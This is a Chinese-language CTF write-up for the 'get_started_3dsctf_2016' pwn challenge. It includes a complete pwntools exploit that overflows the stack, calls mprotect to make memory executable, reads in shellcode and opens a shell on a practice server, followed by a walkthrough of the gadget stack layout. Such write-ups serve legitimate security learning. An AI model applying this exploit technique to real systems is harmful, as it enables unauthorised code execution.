1
get_started_3dsctf_2016
1.ida分析


存在栈溢出,有后门函数可以利用。
2.查看保护

3.解决
一开始的思路是通过栈溢出修改rip到后门函数,但是无论试了多少次都没有返回结果。上网查看别人的思路,发现是通过利用mprotect函数修改内存的权限,再读入shellcode执行。
from pwn import * context.log_level='debug' p=remote("node4.buuoj.cn",29307) elf=ELF('./get_started_3dsctf_2016') start=0x080ea000 main=0x08048A20 pop3=0x08063adb #pop edi ; pop esi ; pop ebx ; ret mprotect=0x0806EC80 read_addr= elf.symbols['read'] payload=b'a'*0x38 payload+=p32(mprotect) payload+=p32(pop3) payload+=p32(start) payload+=p32(0x2000) payload+=p32(0x7)#rwx payload+=p32(read_addr)+p32(pop3)+p32(0)+p32(start)+p32(0x100)+p32(start) p.sendline(payload) payload2=asm(shellcraft.sh(),arch = 'i386', os = 'linux') p.sendline(payload2) #payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux') p.interactive()
脚本来源:https://www.yuque.com/cyberangel/rg9gdm/slwmab
4.脚本
start=0x80ea000
payload+=p32(mprotect) payload+=p32(pop3) payload+=p32(start) payload+=p32(0x2000) payload+=p32(0x7)
首先是修改内存0x80ea000的权限为可读可写可执行
修改前的权限:

加pop3的原因:

当执行完push ebx的时候,栈中情况:
| esp: | ebx |
| pop3 | |
| 参数1 | |
| 参数2 | |
| 参数3 | |
| read_addr |
这个时候[esp+4+0xc]刚好是参数3,[esp+4+8]是参数2,[esp+4+4]是参数1。
执行到retrn指令时,栈中情况
| esp: | pop3 |
| 参数1 | |
| 参数2 | |
| 参数3 | |
| read_addr |
利用3个pop操作清空参数,并且利用ret指令跳转到read函数的地址。下面的pop3同理
p32(read_addr)+p32(pop3)+p32(0)+p32(start)+p32(0x100)
调用read函数读入shellcode

浙公网安备 33010602011771号